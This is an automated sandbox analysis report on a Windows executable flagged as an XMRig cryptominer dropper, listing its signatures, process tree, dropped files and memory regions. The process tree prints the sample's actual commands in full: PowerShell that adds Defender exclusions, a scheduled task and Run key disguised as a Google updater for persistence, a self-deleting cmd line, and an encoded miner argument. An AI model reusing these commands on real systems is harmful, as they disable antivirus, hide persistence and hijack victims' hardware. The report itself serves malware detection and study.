Resubmissions

25/01/2024, 16:55

240125-vfcyksbhgr10

24/01/2024, 17:15

240124-vstf4aecaj10

23/01/2024, 19:27

240123-x6cfvagbd910

23/01/2024, 19:27

240123-x6bvbafgem10

23/01/2024, 19:27

240123-x6bjjsgbd810

23/01/2024, 19:27

240123-x6ax1sfgek10

23/01/2024, 19:27

240123-x6abgsfgej10

23/01/2024, 19:27

240123-x591qagbd710

23/01/2024, 19:27

240123-x59d7agbd610

23/01/2024, 19:27

240123-x584esgbd510

Analysis

  • max time kernel
    1804s
  • max time network
    1814s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/01/2024, 19:27

General

  • Target
    grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
  • Size 2.0MB
  • Sample240123-x59d7agbd6
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 30 IoCs
  • Executes dropped EXE 1 IoCs
  • UPX packed file 30 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3496
      • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\XJEzW6M7WvHaF3EX.exe
        "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\XJEzW6M7WvHaF3EX.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:2716
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1004
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3524
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:1968
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          3⤵
            PID:3288
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\XJEzW6M7WvHaF3EX.exe"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1868
          • C:\Windows\System32\choice.exe
            choice /C Y /N /D Y /T 3
            3⤵
              PID:5008
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:1676
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:2100
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:4856
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic PATH Win32_VideoController GET Name, VideoProcessor
              3⤵
              • Detects videocard installed
              PID:4504
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Suspicious behavior: EnumeratesProcesses
            PID:3792
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            PID:2488
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
              PID:3120
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            1⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:4460

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 2.0MB
                • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
                • MD5 SHA1 SHA512 SSDEEP

                g.log

                • Path C:\Program Files\Google\Libs\g.log
                • Size 226B
                • SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 09b53071e194bce7d7d11912526d53ed45200d62d692ca6225c6d7ae9e5de7d0
                • MD5 SHA1 SHA512

                __PSScriptPolicyTest_y3dh5b1f.ocx.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_y3dh5b1f.ocx.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 4KB
                • SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
                • MD5 SHA1 SHA512 SSDEEP

                StartupProfileData-NonInteractive

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
                • MD5 SHA1 SHA512

                memory/1004-11-0x00007FF9768C0000-0x00007FF977381000-memory.dmp

                memory/1004-14-0x000001E558B50000-0x000001E558B60000-memory.dmp

                memory/1004-1-0x000001E573290000-0x000001E5732B2000-memory.dmp

                memory/1004-17-0x00007FF9768C0000-0x00007FF977381000-memory.dmp

                memory/1004-13-0x000001E558B50000-0x000001E558B60000-memory.dmp

                memory/1004-12-0x000001E558B50000-0x000001E558B60000-memory.dmp

                memory/1676-89-0x000001B77FEE0000-0x000001B77FEF0000-memory.dmp

                memory/1676-82-0x000001B7679A0000-0x000001B7679BC000-memory.dmp

                memory/1676-84-0x000001B767940000-0x000001B76794A000-memory.dmp

                memory/1676-92-0x00007FF9768C0000-0x00007FF977381000-memory.dmp

                memory/1676-88-0x000001B767950000-0x000001B76795A000-memory.dmp

                memory/1676-86-0x000001B702850000-0x000001B702858000-memory.dmp

                memory/1676-81-0x000001B767930000-0x000001B76793A000-memory.dmp

                memory/1676-69-0x000001B77FEE0000-0x000001B77FEF0000-memory.dmp

                memory/1676-80-0x000001B702650000-0x000001B702705000-memory.dmp

                memory/1676-79-0x000001B702630000-0x000001B70264C000-memory.dmp

                memory/1676-87-0x000001B702860000-0x000001B702866000-memory.dmp

                memory/1676-85-0x000001B7679E0000-0x000001B7679FA000-memory.dmp

                memory/1676-57-0x00007FF9768C0000-0x00007FF977381000-memory.dmp

                memory/1676-58-0x000001B77FEE0000-0x000001B77FEF0000-memory.dmp

                memory/1676-59-0x000001B77FEE0000-0x000001B77FEF0000-memory.dmp

                memory/1968-39-0x00007FF9768C0000-0x00007FF977381000-memory.dmp

                memory/1968-54-0x00007FF9768C0000-0x00007FF977381000-memory.dmp

                memory/1968-52-0x0000015B77A00000-0x0000015B77A10000-memory.dmp

                memory/1968-47-0x0000015B77A00000-0x0000015B77A10000-memory.dmp

                memory/1968-40-0x0000015B77A00000-0x0000015B77A10000-memory.dmp

                memory/2100-96-0x0000029D6F560000-0x0000029D6F570000-memory.dmp

                memory/2100-107-0x0000029D6F560000-0x0000029D6F570000-memory.dmp

                memory/2100-123-0x00007FF9768C0000-0x00007FF977381000-memory.dmp

                memory/2100-121-0x0000029D6F560000-0x0000029D6F570000-memory.dmp

                memory/2100-120-0x0000029D6F560000-0x0000029D6F570000-memory.dmp

                memory/2100-118-0x0000029D71ED0000-0x0000029D71F85000-memory.dmp

                memory/2100-112-0x00007FF491C70000-0x00007FF491C80000-memory.dmp

                memory/2100-94-0x00007FF9768C0000-0x00007FF977381000-memory.dmp

                memory/2100-95-0x0000029D6F560000-0x0000029D6F570000-memory.dmp

                memory/2716-38-0x00007FF648B60000-0x00007FF648D71000-memory.dmp

                memory/2716-33-0x00007FF648B60000-0x00007FF648D71000-memory.dmp

                memory/2716-0-0x00007FF648B60000-0x00007FF648D71000-memory.dmp

                memory/3120-140-0x0000028099490000-0x00000280994B0000-memory.dmp

                memory/3120-147-0x0000028099490000-0x00000280994B0000-memory.dmp

                memory/3120-194-0x00007FF65A5B0000-0x00007FF65ADA4000-memory.dmp

                memory/3120-192-0x00007FF65A5B0000-0x00007FF65ADA4000-memory.dmp

                memory/3120-190-0x00007FF65A5B0000-0x00007FF65ADA4000-memory.dmp

                memory/3120-188-0x00007FF65A5B0000-0x00007FF65ADA4000-memory.dmp

                memory/3120-186-0x00007FF65A5B0000-0x00007FF65ADA4000-memory.dmp

                memory/3120-184-0x00007FF65A5B0000-0x00007FF65ADA4000-memory.dmp

                memory/3120-182-0x00007FF65A5B0000-0x00007FF65ADA4000-memory.dmp

                memory/3120-128-0x0000028088F40000-0x0000028088F60000-memory.dmp

                memory/3120-129-0x00007FF65A5B0000-0x00007FF65ADA4000-memory.dmp

                memory/3120-180-0x00007FF65A5B0000-0x00007FF65ADA4000-memory.dmp

                memory/3120-133-0x0000028099470000-0x0000028099490000-memory.dmp

                memory/3120-178-0x00007FF65A5B0000-0x00007FF65ADA4000-memory.dmp

                memory/3120-135-0x00007FF65A5B0000-0x00007FF65ADA4000-memory.dmp

                memory/3120-137-0x00007FF65A5B0000-0x00007FF65ADA4000-memory.dmp

                memory/3120-139-0x00007FF65A5B0000-0x00007FF65ADA4000-memory.dmp

                memory/3120-176-0x00007FF65A5B0000-0x00007FF65ADA4000-memory.dmp

                memory/3120-141-0x00000280994B0000-0x00000280994D0000-memory.dmp

                memory/3120-142-0x00007FF65A5B0000-0x00007FF65ADA4000-memory.dmp

                memory/3120-174-0x00007FF65A5B0000-0x00007FF65ADA4000-memory.dmp

                memory/3120-144-0x00007FF65A5B0000-0x00007FF65ADA4000-memory.dmp

                memory/3120-146-0x00007FF65A5B0000-0x00007FF65ADA4000-memory.dmp

                memory/3120-172-0x00007FF65A5B0000-0x00007FF65ADA4000-memory.dmp

                memory/3120-148-0x00000280994B0000-0x00000280994D0000-memory.dmp

                memory/3120-150-0x00007FF65A5B0000-0x00007FF65ADA4000-memory.dmp

                memory/3120-152-0x00007FF65A5B0000-0x00007FF65ADA4000-memory.dmp

                memory/3120-154-0x00007FF65A5B0000-0x00007FF65ADA4000-memory.dmp

                memory/3120-156-0x00007FF65A5B0000-0x00007FF65ADA4000-memory.dmp

                memory/3120-158-0x00007FF65A5B0000-0x00007FF65ADA4000-memory.dmp

                memory/3120-160-0x00007FF65A5B0000-0x00007FF65ADA4000-memory.dmp

                memory/3120-162-0x00007FF65A5B0000-0x00007FF65ADA4000-memory.dmp

                memory/3120-164-0x00007FF65A5B0000-0x00007FF65ADA4000-memory.dmp

                memory/3120-166-0x00007FF65A5B0000-0x00007FF65ADA4000-memory.dmp

                memory/3120-168-0x00007FF65A5B0000-0x00007FF65ADA4000-memory.dmp

                memory/3120-170-0x00007FF65A5B0000-0x00007FF65ADA4000-memory.dmp

                memory/3524-20-0x000001FCD6490000-0x000001FCD64A0000-memory.dmp

                memory/3524-19-0x00007FF9768C0000-0x00007FF977381000-memory.dmp

                memory/3524-36-0x00007FF9768C0000-0x00007FF977381000-memory.dmp

                memory/3524-34-0x000001FCD6490000-0x000001FCD64A0000-memory.dmp

                memory/3524-32-0x000001FCD6490000-0x000001FCD64A0000-memory.dmp

                memory/3524-21-0x000001FCD6490000-0x000001FCD64A0000-memory.dmp

                memory/3792-143-0x00007FF72CFC0000-0x00007FF72CFD6000-memory.dmp

                memory/3792-134-0x00007FF72CFC0000-0x00007FF72CFD6000-memory.dmp

                memory/4460-83-0x00007FF7FBF70000-0x00007FF7FC181000-memory.dmp

                memory/4460-127-0x00007FF7FBF70000-0x00007FF7FC181000-memory.dmp

                memory/4460-56-0x00007FF7FBF70000-0x00007FF7FC181000-memory.dmp

                memory/4460-119-0x00007FF7FBF70000-0x00007FF7FC181000-memory.dmp